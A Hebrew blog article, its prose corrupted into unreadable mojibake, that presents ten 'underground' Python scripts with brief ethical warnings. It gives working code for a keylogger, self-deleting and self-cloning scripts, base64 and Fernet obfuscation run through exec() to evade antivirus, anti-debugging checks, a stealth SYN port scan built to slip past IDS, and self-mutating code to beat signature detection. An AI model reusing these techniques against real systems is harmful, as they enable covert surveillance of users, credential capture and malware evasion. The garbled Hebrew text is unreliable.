ืืืช: ื ืืืื ืงืืืื
๐ต๏ธโโ๏ธ๐ 10 ืกืงืจืืคืืื ืืืงืื ื ืืคืืืชืื
ืจืืฆืื ืืืขืช ืืื ืกืงืจืืคื ืคืืืชืื ืืืื ืืขืืืจ ืืืืฆืื ืชืื ืืื ืชื ืืขื, ืืชืขื ืืงืฉืืช ืืงืฉืื, ืืฆืื ืืกื ืืืฉืื, ืืขืงืืฃ ืืขืจืืืช ื ืืืืจ ืืืืชืืฆืข ืืฉืืจืืช ืืืืืืจืื ืืคื ืืื (RAM)? ืืจืืืื ืืืืื ืืขืืื ืืืืชืจืชื ืฉื ืืื ืืงืืช ืืืงืื ื, ืฉืื ืืืฆืืจืชืืืช ืืื ื ืืืืขืช ืืืืืืช (ืืืื ืืืืงืืื)!
ืืืืื
0
๐ต๏ธโโ๏ธ๐ 10 ืกืงืจืืคืืื ืืืงืื ื ืืคืืืชืื
ืืืืืจ ืืืืกืก ืขื ืืคืจืกืื "Pythonโs 10 Insane Underground Scripts You Didnโt Know Exist".
ืืืืืจ ืื ื ืืื ืกื ืฉื ืืื ืืงืืช ืืชืงืืืืช ืฉืืืืฆืขืืชื ื ืืชื:
- ืืืฉืืื ืงืื ืืงืืจ ืืืืจ ืืืฆืืข.
- ืืืกืืฃ ืืืืข ืืืฉืื.
- ืืขืงืืฃ ืื ืื-ืืืจืืกืื ืืืขืจืืืช ื ืืืืจ.
- ืืืจืืฅ ืงืื ืืื ืืฉืืจืช ืขืงืืืช ืืืขืจืืช ืืงืืฆืื.
- ืืืคืืื ืืืชืืื ื ืืคื ื ืื ืืกื ืืคืืื (reverse-engineering).
ืืื ืืื ืืืกืงืจืืคืืื ืืืื ืืฉ ืฉืืืืฉืื ืืชืืื ืืื ืคืืื ืฆืืื ืืกืืื, ืืืื ืืฉืื ืืืืืืฉ: ืื ืืฉืืืืช ืืืชืืืจืืช ืฆืจืืืืช ืืฉืืฉ ืื ืืจืง ืืืืจืืช ืืืงืืืช, ืชืื ืืื ืช ืื ืืจืืืช ืืืชืืืช ืืืืืืืืช ืืืฉืคืืืืช.
ืกืงืจืืคืืื ืืคืืืชืื ืฉืืฉืืืืื ืืช ืขืฆืื
ืกืงืจืืคืืื ืืืื ืฉืืืืฉืืื ืืืงืจืื ืฉืืื ืืกืืจ ืืืฉืืืจ ืืช ืงืื ืืืงืืจ ืืืืจ ืืืืฆืืข โ ืืืืืื, ืืืฉืืืืช ืืงืฉืืจืืช ืืืืืื, ืกืืืืืช ืื ืืืืงืืช ืืืืจืืช (pentesting).
๐ง ืืื ืขืืืืื ืกืงืจืืคืืื ืฉืืฉืืืืื ืืช ืขืฆืื:
- ืืืืื ืืงืืืฅ ืืขืฆืื. ืืกืงืจืืคื ืืืฆื ืืช ืื ืชืื ืืงืืืฅ ืฉื ืขืฆืื ืืืืฆืขืืช ืืืฉืชื ืื
__file__
ืืsys.argv[0]
. - ืืืืงื ืขืฆืืืช. ืืืืจ ืืืฆืืข ืืืฉืืื ืืขืืงืจืืช, ืืกืงืจืืคื ืงืืจื ืืคืื ืงืฆืื
os.remove()
ืืื ืืืืืง ืืช ืขืฆืื ืืืืืกืง.
import os
import sys
def main():
print("ืกืงืจืืคื ืื ืืฉืืื ืืช ืขืฆืื ืืืืจ ืืืืฆืืข.")
# ืืื ืืืื ืืืืืช ืืงืื ืืจืืฉื...
# ืืฉืืื ืขืฆืืืช: ืืืง ืืช ืืงืืืฅ ืื ืืืื
try:
os.remove(__file__)
print("ืืืฉืืื ืืขืฆืืืช ืขืืจื ืืืฆืืื. ืืืชืจืืืช!")
except Exception as e:
print("ืฉืืืื ืืืืื ืืืฉืืื ืืขืฆืืืช:", e)
if __name__ == '__main__':
main()
โ ๏ธ ืืืืจ ืฉืืกืงืจืืคื ืืืืง ืืช ืขืฆืื, ืื ื ืืชื ืืืื ืืฉืืืจ ืืืชื ืืื ืืืืื.
ืืืืืช ืืกื ืืฉืืืช
ืขืืืจ ืืืืงื ืืืืจืืช (pentesters) ืืฉืื ืืคืขืื ืืืฉืืืืช. ืืื ืืืืื ืืฉืืืืฉืืื ืืืืชืจ ืฉื ืืืงืจ ืืชื ืืื ืฆืืืื ืืกื ืืฉืื, ืืืืคืฉืจ ืืืฉืื ืืืืืืช ืืคืืืขืืืืช ืืืื ืืืฉืื ืืช ืชืฉืืืช ืืื ืฉื ืืืฉืชืืฉ.
๐ง ืืื ืขืืืืช ืืืืืช ืืกื ืืฉืืืช:
- ืืฆืืจืช ืฆืืืื ืืกื ืืื. ืืืืฆืขืืช ืกืคืจืืืช ืืื
pyautogui
ื-PIL (Pillow)
ื ืืชื ืืฆืื ืืช ืื ืืืกื. - ืฆืืืื ืืืืจ ืืกืืื. ื ืืชื ืืฆืืื ืืืืจ ืกืคืฆืืคื ืืืกื (ืืืฉื, ืืืื ืื ืืืง ืืืืกื) ืฉืืฉ ืืชืขื.
- ืืจืืื ืืืกืชืจืช ืืคืขืืืืช. ืืื ืฉืืืฉืชืืฉ ืื ืืืืื ืืชืืืื ืืฆืืืื, ืืฉืชืืฉืื ืืืฉืืืืช ืืืกืืืืช ืคืขืืืช ืืกืงืจืืคื.
import pyautogui
import cv2
import numpy as np
def capture_screen(region=None):
# ืฆืื ืฆืืืื ืืกื (ืื ืื ืฆืืื ืืืืจ โ ืื ืืืื ืื ืืืกื)
screenshot = pyautogui.screenshot(region=region)
# ืืืจ ืืช ืฆืืืื ืืืกื ืืืขืจื numpy
frame = np.array(screenshot)
# ืืืจ ืืช ืืชืืื ื ื-RGB (PIL) ื-BGR (OpenCV)
frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
return frame
if __name__ == '__main__':
# ืืืืืช ืืืืจ ืฉื 300x400 ืคืืงืกืืื ืืืคืื ื ืืฉืืืืืช ืืขืืืื ื
frame = capture_screen(region=(0, 0, 300, 400))
cv2.imshow("Stealth Capture", frame)
cv2.waitKey(3000) # ืืฆื ืืืื ืืืฉื 3 ืฉื ืืืช
cv2.destroyAllWindows()
โ ๏ธ ื ืืืืฉ ืื ืืืืืช ืืกื ืืื ืืื ื ืืฉืืฉืช ืืืืจื ืืืืจืืช ืืืื ืืืช โ ืืื ืฉืืืืฉืืช ืืืืืงืืช ืืืืจืืช ืืืงืืืช, ืืืฉืจ ืืฉ ืฆืืจื ืืชืขื ืืืฆื ื ืจืืืช ืคืืืขืืช. ืืืงืจื ืื, ืืฉ ืืงืื ืืืฉืืจ ืจืฉืื ืืฉืืืืฉ ืืืืืืช ืืกื โ ืืืจืช, ืืขืื ืืืฉืื ืขืืืืื ืืจืืืช ืืื ืืคืจื ืฉื ืืืืง.
๐ ืืืืข ื ืืกืฃ:
- ืืืจืื ืืืืืืช ืืกื ื-ThePythonCode.com
- ืชืืขืื PyAutoGUI
ืืชืืืงืืช ืืื ืื-ืืืจืืกืื ืืืืฆืขืืช ืขึดืจึฐืคึผืึผื (Obfuscation)
ืชืืื ืืช ืื ืื-ืืืจืืก ืืฉืชืืฉืืช ืืขืืชืื ืงืจืืืืช ืื ืืชืื ืืชืืืืช, ืืืืืจ ืื ืืืคืฉืืช ืชืื ืืืช ืงืื ืืืคืืื ืืืช ืืื ืืืืืช ืืืื. ืื ืืงืื ืฆืคืื, ืงื ืืืืืช ืืืชื. ืขึดืจึฐืคึผืึผื ืขืืืจ ืืืกืชืืจ ืชืื ืืืช ืืื, ืื ืฉืืืคืฉืจ ืืขืงืืฃ ืืืืงืืช ืื ืื-ืืืจืืก ืคืฉืืืืช.
๐ง ืืื ืืงืืช ืขึดืจึฐืคึผืึผื ืขืืงืจืืืช:
- ืงืืืื ืืืจืืืืช. ืืืงืื ืืืืกื ืืืจืืืืช ืืฆืืจื ืืืืื, ื ืืชื ืืงืืื ืืืชื ืืืืฆืขืืช Base64, ROT13, ืื ืฉืืื ืืฉืืื.
- ืืฆืืจืช ืงืื ืืืื ืจืืฆื. ืืืงืื ืืืชืื ืืืืืงื ืืฉืืื ืืฉืืจืืช, ื ืืชื ืืฉืืืจ ืืืชื ืืืงืกื ืืืืจืืฅ ืืืชื ืืจืืข ืื ืืื ืืืืฆืขืืช ืืคืื ืงืฆืื
exec()
.
import base64
# ืงืื ืกืืื ืืืืจืืืช
secret_code = "print('ืฉืืื ืืืฆื ืืืคื!')"
# ืงืืื ืืช ืืงืื ื-Base64
encoded_code = base64.b64encode(secret_code.encode()).decode()
# ืคืขื ื ืืืจืฅ ืืืื ืจืืฆื
exec(base64.b64decode(encoded_code).decode())
โ ๏ธ ืืฉืื:
- ืขึดืจึฐืคึผืึผื ืขืืืจ ืืขืงืืฃ ืืกื ื ื ืื ืื-ืืืจืืก ืคืฉืืืื, ืืืืืื ืืื ืืืชืืงืืื ืืืชืืืืช, ืื ืืื ื ืืื ืืคื ื ื ืืชืื ืืชืงืื.
- ืืกืืืื ืืงืฆืืขืืช, ืืื ืืงืืช ืืืื ืืฉืืฉืืช ืืืืืงืืช ืืืืจืืช ืื ืืชืื ืชืืื ืืช ืืืื ืืืช.
๐ ืืืืจืื ืืืืืฆืื:
- ืืื ืืงืืช ืขึดืจึฐืคึผืึผื ื-GitHub
- ืืืจืื ืืคืืจื ืืขึดืจึฐืคึผืึผื ืงืื ืคืืืชืื
ืงืืืืืืจืื (Keyloggers) ืืืืืื
ืงืืืืืืจ ืืื ืชืืื ื ืฉืขืืงืืช ืืืชืขืืช ืืงืฉืืช ืืงืฉืื. ืืืืจืืช ืืืงืืืช, ืงืืืืืืจืื ืืฉืืฉืื ืืืืืงืืช ืืืืจืืช โ ืืืืื, ืจืง ืืืืฉืืจ ืจืฉืื.
๐ง ืืื ืขืืื ืงืืืืืืจ:
- ืืขืงื ืืืจ ืืงืฉืื. ืืืืฆืขืืช ืกืคืจืืืช
keyboard
ื ืืชื ืืืืื ืื ืืงืฉืช ืืงืฉ ืืืขืจืืช. - ืฉืืืจื ืื ืฉืืืืช ื ืชืื ืื. ืืืืข ืขื ืืืงืฉืื ืฉื ืืืื ื ืืชื ืืฉืืืจ ืืงืืืฅ ืืงืกื ื/ืื ืืฉืืื ืืจื ืืจืฉืช.
import keyboard
import time
log_file = "keylog.txt"
def on_key_event(event):
with open(log_file, "a") as f:
f.write(event.name + " ")
if __name__ == '__main__':
print("ืงืืืืืืจ ืืืคืขื. ืืืฅ ืขื ESC ืืขืฆืืจื.")
keyboard.on_press(on_key_event)
keyboard.wait("esc")
โ ๏ธ ืืฉืื:
- ืฉืืืืฉ ืืชื โ ืืืื. ืืขืืื ืื ืชืจืืฆื ืงืืืืืืจืื ืขื ืืืฉื ืฉื ืืืฉืื ืืืจ ืืื ืจืฉืืช โ ืื ืื ืืืงื ืืขืืื ืืืืืื ืืชืืฆืืืช ืืืืจืืช.
- ืืืืืงืืช ืืืืงืจืืช, ืืขืืืืช ืืืืื ืืงืืืืืืจืื ืืฉืชื ื ืืืื. ืืคื InfoSec Write-ups, ืืขืช ืฉืืืืฉ ืืขึดืจึฐืคึผืึผื, ืืืกืชืืจืืช ืืืืืื ืงืืืืืืจ ืขื ืืื ืื ืื-ืืืจืืกืื ืืืจืืช ื-40%.
ืืืืจ ืื ืืฉื:
๐ต ืืืชืืื ืงืืืืืืจ ืืคืืืชืื ืขืืืจ Windows ื-5 ืืงืืช
ืงืื ืฉืืฉืืคื ืืช ืขืฆืื ืืืฉืืืจ ืืช ืขืฆืื
ืกืงืจืืคื ืฉืืฉืืืจ ืืช ืขืฆืื (ืื ืืฉืืคื ืืช ืขืฆืื) ืืืฆืจ ืขืืชืง ืฉื ืขืฆืื ืืืคืขืื ืืืชื. ืืืื ืืื ืืงื ืืขื ืืื ืช, ืฉืื ืืกืฃ ืืืืฆืืข ืืืจืชื ืืขืืงืจืืช, ืขืืืจืช ืืืืื ืืื ืืืชืจ:
- ืืื ืคืืืชืื ืขืืื ืขื ืืงืื ืฉื ืขืฆืื (ืืื ืืจืืกืคืงืฆืื).
- ืืื ืื ืื ืชืืืืืื.
- ืืื ืืืฉืชืืฉ ืืงืื/ืคืื ืฉื ืงืืฆืื.
ืืืืจืืช ืืชืืืช, ืืืฉื ืืื ืืืืื ืืฉืืฉ, ืืืฉื, ืืืืืื, ืืคืขืื ืืืืฉ, ืืืืืืช ืฉืจืืืืช ืชืืืื ืืื'.
๐ง ืืื ืขืืื ืฉืืคืื ืขืฆืื:
- ืืืืืฅ ืงืื ืืืงืืจ. ืืืืฆืขืืช ืืคืื ืงืฆืื
inspect.getsource()
ืืกืงืจืืคื ืืืื ืืงืื ืืช ืืงืื ืฉื ืขืฆืื ืืืงืกื. - ืืฆืืจืช ืขืืชืง ืฉื ืืงืืืฅ. ืืงืื ืืืชืงืื ื ืืชื ืืงืืืฅ
.py
ืืืฉ (ืืืฉื,clone_script.py
). - ืืคืขืืช ืืฉืืคืื. ืืงืืืฅ ืืืืฉ ืืืคืขื ืืจื
subprocess.Popen()
, ืืืฆืจ ืชืืืื ืืืฉ, ืืืืงืืจ ืืืื, ืืืฉื, ืืืฉืืื ืืช ืขืฆืื.
import sys
import inspect
import os
import subprocess
import shlex
def clone_and_run():
# ืงืื ืืช ืงืื ืืืงืืจ ืฉื ืืคืื ืงืฆืื ืื ืืืืืช (ืื ืืกืงืจืืคื)
code = inspect.getsource(inspect.currentframe())
# ืฉื ืืฉืืคืื
clone_filename = "clone_script.py"
# ืืชืื ืืช ืืงืื ืืงืืืฅ ืืืฉ
with open(clone_filename, "w") as f:
f.write(code)
# ืืคืขื ืืช ืืฉืืคืื
cmd = f"python {clone_filename} 1" # ื-'1' ืืืื ืืืืืช ืืจืืืื ื ืืื ืืขืช ืจืงืืจืกืื ืืื ืกืืคืืช ืื ืื ืืืืคื
subprocess.Popen(shlex.split(cmd), start_new_session=True)
print("ืืฉืืคืื ืืืคืขื. ืืืงืืจ ืืฉืืื ืืช ืขืฆืื...")
os.remove(__file__) # ืืืง ืืช ืืืงืืจ
if __name__ == '__main__':
# ืืืืงื ืคืฉืืื ืืื ืืข ืืืฉืืคืื ืืฉืืคื ืืช ืขืฆืื ืืื ืืืืคื ืืื ืกืืคื
# ืืชืจืืืฉ ืืืืชื, ืชืจืฆื ืืืืืงื ืืืงื ืืืชืจ ืื ืืจืืืจ ืกืคืฆืืคื.
if len(sys.argv) < 2: # ืืจืฅ ืืช clone_and_run ืจืง ืื ืื ืืืขืืจ ืืจืืืื ื (ืืืืืจ, ืื ืืืงืืจ)
clone_and_run()
else:
print("ืืฉืืคืื ืจืฅ. ืืืงืืจ ืืืืจ ืืืืขืื.")
# ืืืืืงืช ืืฉืืคืื ืขืฆืื ืชืืื ืืื
โ ๏ธ ืืื ืืงืืช ืืืื ืืฉืืฉืืช ืืชืืื ืืช ืืืื ืืืช (ืืืื ืืฉืื ืฉืืืืื ืืืืืช ืืืืข ืืืื ื ืืื ืื ืขืืืืืช).
ืืจืฆืช ืงืื ืืืืืจืื ื-RAM
ืืจืฆืช ืงืื ืจืง ืืืืืจืื ื-RAM, ืืื ืืชืืื ืืืืกืง, ืืืคืฉืจืช ืืืืขืจ ืขืงืืืช ืืืขืจืืช ืืงืืฆืื. ืื ืฉืืืืฉื ืืืืืื ืืืฆืืื ืฉืืื ืืฉ ืฆืืจื ืืืกืชืืจ ืืช ืื ืืืืืช ืืืขืจืืช โ ืืืืืื, ืืืืื ืืืืงืืช ืืืืจืืช.
๐ง ืืื ืื ืขืืื:
- ืงืืืคืืืฆืืืช ืงืื ืืืืจืืืช. ืืืืฆืขืืช ืืคืื ืงืฆืื
compile()
ื ืืชื ืืืืืจ ืืืจืืืช ืขื ืงืื ืคืืืชืื ืืืืืืืงื ืงืื ืืจ-ืืืฆืืข. - ืืืฆืืข ืืฉืืจืืช ืืืืืืจืื. ืืืืืืงื ืืงืื ืืืชืงืื ืืืขืืจ ื-
exec()
, ืืืชืืฆืข ืืื ืืชืืื ืืืืกืง.
ื ืืชื ืืืขืื ืืืืจืืฅ ืงืืขื ืงืื ืืืฉืืื ืจืฉืช, ืงืืฆืื ืืืฆืคื ืื ืื ืืกืื ื ืชืื ืื.
code_string = """
def greet():
print('ืฉืืื! ืงืื ืื ืืชืืฆืข ืืฉืืจืืช ืืืืืืจืื.')
greet()
"""
compiled_code = compile(code_string, '<string>', 'exec')
exec(compiled_code)
โ ๏ธ ืชืืื ืืช ืืืื ืืืช ืืฉืชืืฉืืช ืืฉืืืืช ืืืื ืืื ืืขืงืืฃ ืื ืื-ืืืจืืกืื.
๐พ ืกืคืจืืืช ืืืืงืจ
ืืืืจืื ืฉืืืืฉืืื ื ืืกืคืื ืชืืฆืื ืืขืจืืฅ ืืืืืจื ืฉืื ื "ืกืคืจืืืช ืืืืงืจ".
ืคืขื ืื ืงืื ืืืื ืจืืฆื
ืืฆืคื ื ืืืืฉืืช ืื ืจืง ืขื ื ืชืื ืื ืืืืขืืจืื ืืจืฉืช, ืืื ืื ืขื ืืืงื ืงืื, ืฉื ืืชื ืืฉืืืจ ืืฆืืจื ืืืฆืคื ืช ืืืคืขื ื ืจืง ืืืื ืจืืฆืช ืืชืืื ืืช. ืื ืขืืืจ ืืืกืชืืจ ืืืืืงื ืืืืื ืขื ืงื ืืื ืจืืื ื.
๐ง ืืื ืฉืืื ืื ืขืืืืช:
- ืืฆืคื ืช ืงืื. ืืฉืชืืฉืื, ืืืฉื, ืืกืคืจืืืช
cryptography.fernet
, ืืื ืืืฆืคืื ืืืจืืืช ืขื ืงืื. - ืคืขื ืื ืืืืฆืืข ืืืื ืจืืฆื. ืืจืืข ืื ืืื, ืืชืืื ืืช ืืคืขื ืืช ืืช ืืงืื ืืืจืืฆื ืืืชื ืืืืฆืขืืช ืืคืื ืงืฆืื
exec()
.
from cryptography.fernet import Fernet
# ืืฆืืจืช ืืคืชื (ืืชื ืืื ืืืืชืืื ืืฉ ืืืืกื ืืืชื ืืืืื!)
key = Fernet.generate_key()
cipher_suite = Fernet(key)
# ืงืื ืกืืื ืฉืื ื ืจืืฆืื ืืืกืชืืจ
secret_code = "print('ืืงืื ืืกืืื ืืื ืืืฆืคื!')"
# ืืฆืคื ืืช ืืืจืืืช ืืงืื
encrypted_code = cipher_suite.encrypt(secret_code.encode())
# ืืืื ืจืืฆื: ืคืขื ื ืืืจืฅ
decrypted_code = cipher_suite.decrypt(encrypted_code).decode()
exec(decrypted_code)
โน๏ธ ืืฉืืืืฉ ืืืงื, ืฉืืื ืื ืชืขืืืจ ื:
- ืืื ืขื ืงื ืืื ืจืืื ื (ืืืฉื, ืืืืืงื ืขืกืงืืช ืืฉืืื).
- ืืกืชืจ ื ืชืื ืื ืกืืืืื (ืืืื ืขืืืื ืขื ืจืืฉืืื ืืช ืื ืืคืชืืืช API).
- ืืงืฉื ืขื ืขืืืืชื ืฉื ืื ืชืื ืงืื ืืื ืืกื ืืคืืื.
๐ ืืืืืข ื ืืกืฃ ืขื ืืฉืืื ื ืืชื ืืขืืื ืืชืืขืื ืฉื ืกืคืจืืืช Cryptography.
ืื ืื-ืืืืืืื ื (Anti-debugging)
ืืื ืืืื ืขื ืกืงืจืืคื ืื ืืชืื ืื ืื ืืกื ืืคืืื, ื ืืชื ืืืืฉ ืื ืื ืื ืื ืื-ืืืืืืื ื โ ืืืื ืฉืืื ืืืืคืฉืจืช ืืืืืช ื ืืืืืช ืฉื ืืืืืืจ (debugger) ืืืืืื ืืื (ืืืฉื, ืืฉื ืืช ืืช ืืืืืงืช ืืืชื ืืืืช ืฉื ืืกืงืจืืคื ืื ืืกืืื ืืช ืืืฆืืขื).
๐ง ืืื ืขืืื ืื ืื-ืืืืืืื ื:
- ืืืืงืช ืกืืืื. ืืกืงืจืืคื ืืืื ืืืคืฉ ืกืืื ื ืืืืืืื ื, ืืืฉื, ืคืขืืืืช ืฉื
sys.gettrace()
. - ืฉืื ืื ืืชื ืืืืช. ืื ืืืื ืืืืืืื ื, ืืชืืื ืืช ืืืืื ืืกืืื ืืช ืืืฆืืขื, ืืืืกืืฃ ืืฉืืื, ืื ืืฉื ืืช ืืช ืืืืืงืช ืืขืืืื ืืื ืืืืื ืืช ืืื ืชื.
import sys
import time
def anti_debug():
# ืืืืงื: ืื ืืฉ ืืืืืืจ, gettrace() ืืืืืจ ืขืจื ืฉืืื ื None
if sys.gettrace() is not None:
print("ืืืื ืืืืืืจ! ืืกืืื ืคืขืืื ืืืื ื.")
time.sleep(2)
sys.exit() # ืืฆืืื ืืืชืืื ืืช
if __name__ == '__main__':
anti_debug()
print("ืื ืืืื ืืืืืืจ. ืืืฉืื ืืืืฆืืข...")
โ ๏ธ ืืฉืื:
- ืืฉ ืืืฉืชืืฉ ืืฉืืืืช ืืืื ืืืืคื ืืชื ืืจืง ืืชื ืืื ืืืืงืจืื, ืืืฉื:
- ืืืืฉืืืื ืืกืืจืืื ืืืื ื ืขื ืจืืฉืืื ืืช.
- ืืืขืจืืืช ืฉืืื ืืฉืื ืืื ืืข ืืชืขืจืืืช ืืืืืืงื.
ืกืจืืงืช ืจืฉืช ืืฉืืืช
ืืืืงื ืืืืจืืช ืฆืจืืืื ืืขืืชืื ืงืจืืืืช ืืกืจืืง ืจืฉืช ืืืฉืืืืช, ืืื ืื ืืืฉืื ืืช ืชืฉืืืช ืืื ืฉื ืืขืจืืืช ืืืืื ืคืจืืฆืืช. ืืืืจืืช ืืื ื ืืชื ืืืชืื ืกืืจืง ืืฉืื ืืฉืืื ืืคืืืชืื, ืฉืืืื ืืชื ืืืืช ืฉื ืืฉืชืืฉืื ืจืืืืื ืืื ืืขืืจืจ ืืฉื.
๐ง ืืื ืขืืืืช ืกืจืืงื ืืฉืืืช:
- ืืฆืืจืช ืืืืืืช "ืืืืืืืืืช". ืืืืฆืขืืช ืกืคืจืืืช
scapy
ื ืืชื ืืืฆืืจ ืืืืืืช ืจืฉืช ืฉื ืจืืืช ืืื ืชืขืืืจื ืจืืืื. ืืืืืื, ืืืืืืช SYN, ืืื ืืืืืืจ ืกืื ืืจืื ืืฉืจืช. - ืืฉืืื ืืงืจืืืช. ืืืกืคืช ืืคืกืงืืช ืืงืจืืืืช ืืื ืืืงืฉืืช ืืืคืืช ืืช ืืืชื ืืืืช ืืืืื ืืคืขืืืืช ืืื, ืืื ืืืื ื. ืื ืขืืืจ ืืขืงืืฃ ืืขืจืืืช ืืืืื ืืืืืืืืืช.
from scapy.all import IP, TCP, sr1
import random
import time
def stealth_port_scan(target_ip, port):
# ืฆืืจ ืืืืืช SYN (ืืืืื ืจืืฆืื ืืืฆืืจ ืืืืืจ TCP)
packet = IP(dst=target_ip)/TCP(dport=port, flags="S")
# ืฉืื ืืช ืืืืืื ืืืืชื ืืชืฉืืื
response = sr1(packet, timeout=1, verbose=0)
# ืืืืง: ืื ืืื ืืชืฉืืื ืืื SYN-ACK (0x12), ืื ืืคืืจื ืคืชืื
if response and response.haslayer(TCP) and response[TCP].flags == 0x12:
print(f"ืคืืจื {port} ื-{target_ip} โ ืคืชืื.")
else:
print(f"ืคืืจื {port} ื-{target_ip} โ ืกืืืจ ืื ืืกืื ื.")
if __name__ == '__main__':
target = "192.168.1.1" # ืืืืฃ ืืืืจื ืฉืืชื ืืืจืฉื ืืกืจืืง
# ืืืืง 5 ืคืืจืืื ืืงืจืืืื ื-20 ืขื 1024
for port in random.sample(range(20, 1024), 5):
stealth_port_scan(target, port)
time.sleep(random.uniform(0.5, 2)) # ืืคืกืงื ืืงืจืืืช ืืื ืกืจืืงืืช
โน๏ธ ืกืจืืงื ืืฉืืืช ืืฉืืฉืช ื:
- ืืืืงืช ืืืืืช ืจืฉืช ืืืกืงืจืืืช.
- ืขืงืืคืช ืืขืจืืืช IDS/IPS ืฉืขืืงืืืช ืืืจ ืคืขืืืืช ืืฉืืื.
- ืืืกืืฃ ืืืืข ืืื ืกืืืื ืืืกืืื.
โ ๏ธ ืืฉืื ืืืฉืชืืฉ ืืกืืจืงืื ืืืื ืจืง ืืืืจืืช ืืืงืืืช, ืืืฉื, ืืืกืืจืช ืืืืงืืช ืืืืจืืช ืืืืฉืืจ ืืขื ืืจืฉืช.
๐ ืกืคืจืืืช ืืคืืืชืื ืืกื
ืืืืจืื ืฉืืืืฉืืื ื ืืกืคืื ืชืืฆืื ืืขืจืืฅ ืืืืืจื ืฉืื ื "ืกืคืจืืืช ืืคืืืชืื ืืกื".
ืืืืฆืื ืืืืืืืืช
ืืื ืืขืงืืฃ ืืขืจืืืช ืืืืื ืืืืืกืกืืช ืขื ืืชืืืืช (ืื ืื-ืืืจืืกืื ืื ืืขืจืืืช ื ืืืืจ ืงืื), ื ืืชื ืืืชืื ืกืงืจืืคื ืฉืืฉื ื ืืช ืขืฆืื ืืคื ื ืื ืืจืฆื. ืืื ืืงื ืื ื ืงืจืืช ืืืืฆืื โ ืืื ืืืคืืช ืืช ืืกืงืจืืคื ืืืืจื ื ืขื, ืงืฉื ืืืืืื ืื ืืชืื.
๐ง ืืื ืขืืืืช ืืืืฆืื:
- ืฉืื ืื ืงืื ืืืงืืจ. ืืกืงืจืืคื ืงืืจื ืืช ืืงืื ืฉื ืขืฆืื, ืืืฆืข ืฉืื ืืืื ืืงืจืืืื ืงืืื (ืืืฉื, ืืฉื ื ืืขืจืืช ืื ืฉืืืช ืืฉืชื ืื), ืืื ืฉืืืจ ืืช ืขืฆืื ืืืืจื.
- ืฉืื ืื ืืืืขืช ืืืฆืืข ืืืืืืืืืช. ืฉืื ืืืื ืงืืื ืืื ืืื ื ืืฉืคืืขืื ืขื ืืืืืงืช ืืชืืื ืืช, ืื ืืฉื ืื ืืช ืืชืืืช ืืงืืืฅ (ืืช "ืืืืขืช ืืืฆืืข" ืฉืื), ืื ืฉืืงืฉื ืขื ืืืืืื ืืคื ืชืื ืืช.
import os
import random
import inspect # ื ืืืฅ ืืื ืืงืื ืืช ื ืชืื ืืงืืืฅ ืื ืืืื ืืืืคื ืืืื
def mutate_script(filename):
with open(filename, 'r') as file:
lines = file.readlines()
# ืฉื ื ืืืืคื ืืงืจืื ืฉืืจืืช ืขื ืืขืจืืช
for i, line in enumerate(lines):
if line.strip().startswith("#") and random.choice([True, False]):
lines[i] = f"# Mutation {random.randint(1, 1000)}: {line.lstrip('# ')}\n" # ืฉืืืจ ืขื ืืงืกื ืืืขืจื ืืืงืืจื, ืืืกืฃ ืืจืืืช ืฉืืจื
with open(filename, 'w') as file:
file.writelines(lines)
print("ืืกืงืจืืคื ืขืืจ ืืืืฆืื ืืืฆืืื.")
if __name__ == '__main__':
# ืฉืืืืฉ ื-inspect ืืืื ืืืชืจ ืืืฆืืืช ื ืชืื ืืกืงืจืืคื ืขืฆืื
current_file = inspect.getframeinfo(inspect.currentframe()).filename
mutate_script(current_file)
# ืืกืงืจืืคื ืืืฉืื ืืจืืฅ ืืืืจ ืืืืฆืื ืืืืืื ืื
print("ืืกืงืจืืคื ืฉืขืืจ ืืืืฆืื ืืจืืฅ ืืขืช ืืช ืืืืืืงื ืืืงืืจืืช ืฉืื.")
โน๏ธ ืกืงืจืืคืืื-ืืืื ืืื ืืืขืืื ื:
- ืืืื ืขืืช ืื ืืชืื ืกืืื โ ืืืืฆืื ืขืืืจืช ืืขืงืืฃ ืืขืจืืืช ืฉืืืคืฉืืช ืชืื ืืืช ืืืืขืืช ืฉื ืงืื ืืืื ื.
- ืืื ื ืืื ืืืช โ ืืงืื ืืืจืื ืฉืื ื ืืื ืืจืฆื, ืืื ืืขืืืจ ืืืชืืืื ืขื ื ืืกืืื ืืช ื ืืชืื ืืื ื.
- ืืืืงืืช ืืืืจืืช โ ื ืืชื ืืืฉืชืืฉ ืืื ืืืืืง ืืืฆื ืืขืจืืช ืืืืื ืืงืื ืืฉืชื ื.
โ ๏ธ ืืฉืื:
- ืกืงืจืืคืืื-ืืืื ืืื ืืฉืืฉืื ืืขืืชืื ืงืจืืืืช ืืชืืื ืืช ืืืื ืืืช, ืื ื ืืชื ืืืฉืชืืฉ ืืื ืื ืืืืคื ืืชื, ืืืฉื:
- ืืขืช ืืืืงืช ืื ืื-ืืืจืืกืื ืื IDS.
- ืืืื ื ืขื ืงื ืืื ืจืืื ื.
- ืืืฆืืจืช ืกืงืจืืคืืื ืฉืืชืงื ืื ืืช ืขืฆืื ืืกืืืืืช ืืืืงื.
ืืกืืืื
ื ืืกืืืื ืขื ืกืงืจืืคืืื ืืืงืื ื ืืขืืจื ืืฉืคืจ ืืืืื ืืืืช ืชืื ืืช ืืืื ื ืฉื ืืฉืืืืช ืืื ืืฉืชืืฉืื ืืืืงื ืืืืจืืช ืื ืืกืื ืืืืืื ืืืืื. ืืฉืื ืืืืืจ ืฉื ืืชื ืืืืฉื ืืื ืืงืืช ืืืื ืจืง ืืืืื ืืช ืืืจืืืืืืืช ืื ืืกืืืื ืืืืงืจืช ืืขื ืืืฉืืจ ืืชืืื ืืื ืื ืืืขืจืืช.